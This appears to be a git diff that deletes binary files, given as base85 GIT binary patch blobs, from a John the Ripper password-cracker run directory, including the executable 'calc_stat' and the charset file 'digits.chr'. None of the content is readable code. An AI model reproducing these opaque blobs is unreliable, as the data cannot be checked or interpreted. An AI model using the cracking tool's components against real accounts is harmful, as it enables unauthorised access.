zBFy<1f@(y+Y??>b-^Su9IDng4ys4|3X_Ak@hbD0R(h3cyzh5zyp4K?2ziCugeK{?0 z(cy<4gvJY$1LjV31g~(_F7xfCMPaf<;>`uda4!q5d+$^kVY>sSV~KQi8IB-2s=QwUbZhKZhHbbz zutSCHx!Wc8fMCkru=kYk5uADWlh<~gH0Xea^I&v;<#!i`%B@!7AqFmF6WRzCnsx{= z%wSJ^*NkADRHD3<>r7USoAHcMC}iV^|} z(%bD%&_!PFB!yk`_z^}y_A6>(Oi(4WahpHWh7d**UG#jS(#wUh5rp{W^eLDSr)tLD zr)(JpV7V&)m5|W*9Cx99uBXB`^&uhRDzpJJl!K6607DVaZ5Wv7-PBu4hT@t6j^}YB zU`i=Gwa(y$!jMt4WcL|VxuBnl@6IHA!?Pf}+5FvvZu*KfbZAH!6E4UHR$=G}| zaMhmUO&F5BmSFgEDEZ$;CsJ#gIJmGP9neC4a4Odk^EGriN00qTB2eO2lca(snztKm zU%fw_xp#^e%J9+ZHwDRrAZqt{z=a$dOWlg(VlJu&wD3GZgkw#Ea( z8k{h+P{VyyCEA07B6A)&buq{ENqI;{vlZF^L5L6ArTVK6;q#`vRjHZ$BL&gK2@yZF za$ulgmd#r{`ABZX(?loIOQX6qa#er@4oHV5ulF{=kEXGM0b@|V<=-%7_(~pWew8dGD#2N% zXjTN`0Dy)_dco>dWR&Q01ag_d|GsF8*lM#qtc39=E40A)x_fzGxTEb8w@DdT+sg04 zA*2ahP@=a5p)>4cZ0}!UQs;=PnWh%qJ=n32T?r#rF?hnrL*vXrH_5o8Rs~jyF#{J| zC*#dPlux%vK^d8C7L7Be2ux6a?I+j>7-XcR-`^eBcNf9kC^@X9t&`Gm+jmIglwXV< z@qX0kvdAn5Dt!OR8DL(P{WQ9}J14qt?NS$X#K4$__O-_feSLrQ{$b?hM8~{Poy(#k zu3$oOz)_P|OvJ%{HM{c*@pp!8a6)Q2A+q16DD|GWnQ7#{hh$aNy;8^UzAhl{@BJX` z%x-rjS94)9i-}S_)8E zYJX|agUg^~dKOer0)#bG&=SA2;d#b4$niZCiTsoIp|1`4^3tGmo<8XW8;6=ofIstj z&2@@-*>Rd^n$ztWm#*QVn@0H1bMX%etUsioJ`8e9*g6g1H(Jkkf>YMWBf?Tn{bb--0J_zp0-<~PTYl6;ai4p<}t@F7604?gPWVi*$Dc9Qro zm>Z}HbKwOd9U)puC_hT-y^Wuzub;mK7#iVbWEY-IW;t^}p*85y_-ufxA$cz}tcnRx z9F=wRrlQ!Y5kQCmny}#WPF*TAqG-jy|L7Gk8VME;RV!Tq7q{xmr>RF}crhUyF&Bs5 z0RU$&!{;B--dw&})XB&>Y{txDjyP!_yUAOoPd?rxChh)qup#xtgsE1PEE){6VH)e7 z!wvn#c=p(=-@hp@2neLUx)5kz{SFDFg08@tY=3eUz9q{eYOENfeB-C(^A9yVQl93{ zJdK)t)}YIr=iYN%3%@TWkv4eL?01#m_(;L$gYL}=?Gxsv4OE&N3=jZW{6~rkk%!4E Wm`--HS5W10ynQB@;T`|$|Nb9l2)C*L diff --git a/data/john/run.linux.x64.mmx/calc_stat b/data/john/run.linux.x64.mmx/calc_stat deleted file mode 100755 index cc47d972933fe7a36b72c9fc5163a9cd18ce6ea4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8288 zcmcIp3vg7|c|QA)v^>O>F$Ou7;Wk|yLC{)@fhvG9chM?b(RBv%u$9;#E!x#1S?$WZ zR|YbaKvwJI<$>&vZySo^dmMc&42Woi>W&A!3Cvf{g2tUDshkJ0`)8T?=ekF18?r z?f0L1j&xaV6r*cR~ccdN8=>xm$CMHIVxxk z%)>NR!|r3{pp>C&oI}tWNthF+CG-e67oeNQPC;;L)NUb%jZ*_g zxJE!&pMyLXpl^T2h|qZAZjvIX-3GlJV@yJ+_XzaJ&(GVWpAW`*_H9`AU@TG>>xuUt zs5{WGp>D%EUn=2S%l)r{K?-r}*LQQ%G9Oa^E>MN5Y!SvJKOcP_x@_dvVsw(FwNubZ zzY=```a<+OH5s3sPkW~VoqQ4Lx3l?}WXL}8Y5pIKst)GX77&f*Cx2eL{G&rn&Hr-c z!jr8v4b$10UkrYrEob~_Uykb@<3$|bcE z=yv(jLjJoY^q&a&=@R;H1U*wiF94_ZEV|wPjF5k!gg!*VXnWA@@&la8*lz%<*hj@9 z%i0CS0^@?-T0(#I4)i|<{VsMdlk#%EHG;kvyQZ~5!)UJk5r&Jg1HFs2IUYGU97qaN!Hny?1>wl@QoZ6zV(KCU?LffvbJa>Y=psuD;5)^c!X^YwQOl>TkBivTTj7S z#l{I}|8wCK(4Uk4k{q222iplq=T$}T|3VLrtc$&cF*V{R0Eth{;yY*g6HD7Uoz9ju zD@SM7i_W>!CC-$Pr*kW|7LnPEjegr%7yE?d$(C#$8{J;-s%&)9k*(TBmwSkKs*P^1 zRkb#{JbNTxZ=+MqlC8l;x7RT}eZ`ZXgj9YT!p&!3OHZHij1|{^OHo;IWemT{3JoK| zyUASPQW0(CKEf$Qg$a&-lW(c`ukF>%-|6YMr?&5E8P9FMOJn-@Xgdev zmpmHFcR}#qhlVI-JzI8gk;?Q;&Ttkdc*sNccBHWYHruV6?-*5+Ug+dJx>@!zh{e~T ze3F#2ReI+2{&?KUf!%>!nDg3B_;?^a<50f;076a|-AZN>xzMv;_b9{n@26E7eAKh? zUL{iwzB0T%3X-<*Nr#fT203N8aW@F#LGN~2p}^~di%5fR2EDp6@MEw~(GxZQ1<+5?*+AIuR;nyNj}yQn(fa(2o5Y7C_-_)w0D_)v z{1wJ8(WS!w2{`{qoKqI(1edexx>pzwO&8253Z|HhRZk4 zR|amv?B+^k;2K~kYk2FM{l#Yg)xb$g&ZIwm2x(FVXyN#bT;yT%y?`?OM5E(j$Ga`* zmmMwXGme3a%D_VC_^%%M{fhmog4vLFyY@3jbLM=1jSi$9Gw&K1TCBlN<4>{r{#?EZ zjt7o>l_@{i3(Y|KCOaGmk%vvnaByRB^NRhh^vlkH+<`|kSC!0@*rAwqgED+!^s>kC zalm}5W%NB~$kmvFxj?$YQTPT#l*~^2lEPd_%JA}*(aR9MU*n=KN5Kan7@z#hz@T=E zrzJ4heam0ekDCSEaXS55mlbvMVEe7J<*YgL_Td%Euv0hR)YI=fPEmF!edh@xeWQRO zN05?1(g0%~5z5qqDT{kZ;4ixw8M)u%`?^Qq%_nw~pMHZM!eObY|LBT^4gU^`W?r^ z^R5uBiWZ?=cir>ce3fOLw4Yx^iG*Mbi#c!_V>36cE31Rv>S^V!ptpgL+_bV6!@LJE zOe^0gdl6L<^feQi*OknVp+k$(9?Dj3h1HQMgpOHa*n%s7`*Tg%g^nO3cIAJ5gK|`+ zf=sDuA9s6bjYBwQ?Z9IrKjk&ykhgV9c1Z&^@6%i%=sh#`L&4dI+bMGM!2M2Ze|A$UpNbjT$RpGr!LoyJ-BVHGZ!g<86G52U1=WBc1d8 zIouu&JiaIJL|{)~Z=h{Ve=12GglK^LlMCF zJv%GV3W2%X#?a8mxU8Vf-dA)p=DiRy4|!+w!MdF;m4yZyLj+K@E``9%hfKpeMJEuq zr7I1gRW}3Xtrqi|K6=yDV!o08himX4bJeKvU!-~*GJh8`KM0zi28v7G($ixO{VV_0 z|Gu7m!i%d{%v%*g0p%4^r5x2#393gP8|0OUE?#sAqKn!&CyrctrfA&bzlgh9Hl4#A zN>5LEh}eIXE^m+1U5do>O$eD^=O}A*ho{1hi(D$)72T+=OsS98_3cq3Jsn0*A|4MX z58@Rn7FF?*Wzb;$yt=-PY9yidr=n^+5m)*9PIw1Zg167=t%cs|wd*&0`8M@6CHiEfFByF*8aLFQIK5RGQ57$P zT}HRs5spWC@Lm^1Aa#8#$vP7Ku?QkJRC;;j0q$ojBaL%@&Ywl?(@Q6rH|My|waE*Q zahO>ZwvGmP1XraO0EYl`fYg>)fH}UigE_twy41ZCmiXD&&+e5n1|-4c_wfqt(^n} zZ4LT5^mCw_L~v7ZKXg7_?tTD+MOwPz8P}lunEjoQ#OSnAqcJrLo5L;Y+`A`vPEEol z3!TO3-I$u>hb?p#PY8UWfbx4prNHHP2ucVw&8gv+v1_-AT=jxeBXsuN_LAGe%Q=;? zYL|t}rJWS?1(Gk|JpxKV>rU;0c(0bZowCTY>ro-_Wde4WYkVZ>4FabvK&{>av)}cq z1&)USk7uS#;}qnbLma|tDsx2;W08`WBTHeIEz!{?cGYVGcQ{c)q;!s`6}9D8ULKCS*AORoFe zHb1}Q=lAn}X49AI#>X)uypQ?t`74_2V?LC>s4uXkrOpUZbu(Y&U_5oO z*MdgU;-FBc@VL1RX#+1AjfF`;jQU~**~hm$pAkKPU;cH^mrU@FYQAW9TW2!d8*S^3 zKv!bS*I^`*DNJaAZ*_nPo8jJ`4osMU8T|OTZOab6%|R*A+lyjv+YdQLziU^n$03*>dW}UCHk_?^Dlzn$>##;)3dBp|J$HZPQ-Mx-`!iqgF?;& z5#HpwOS}^UyMAAV##wzr|AZ72Q0i9+{7FE&zAEajDjen41Dg%0CrSHD^yPEeEB<-0 zND2xl=a=L^5&E*Z(Czv&ct4>w zLkAn}6${M%md^hiIHWJ{1@ix$^8cWv`6|`_ixT|{;`w$#Tp<5D{l6*Er_Z$1@M8=xfW`xumwtQYbw?QqSTt_D>iPO~x<(AJ!`LYo(xorTVXfE>d)xq||?) Wgjs^#7Q5ZRVd3~iJMq7m>puaou&_q} diff --git a/data/john/run.linux.x64.mmx/digits.chr b/data/john/run.linux.x64.mmx/digits.chr deleted file mode 100644 index c7f480681bcac0fc9cd85ec0a18fa2313efabc8a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 40391 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 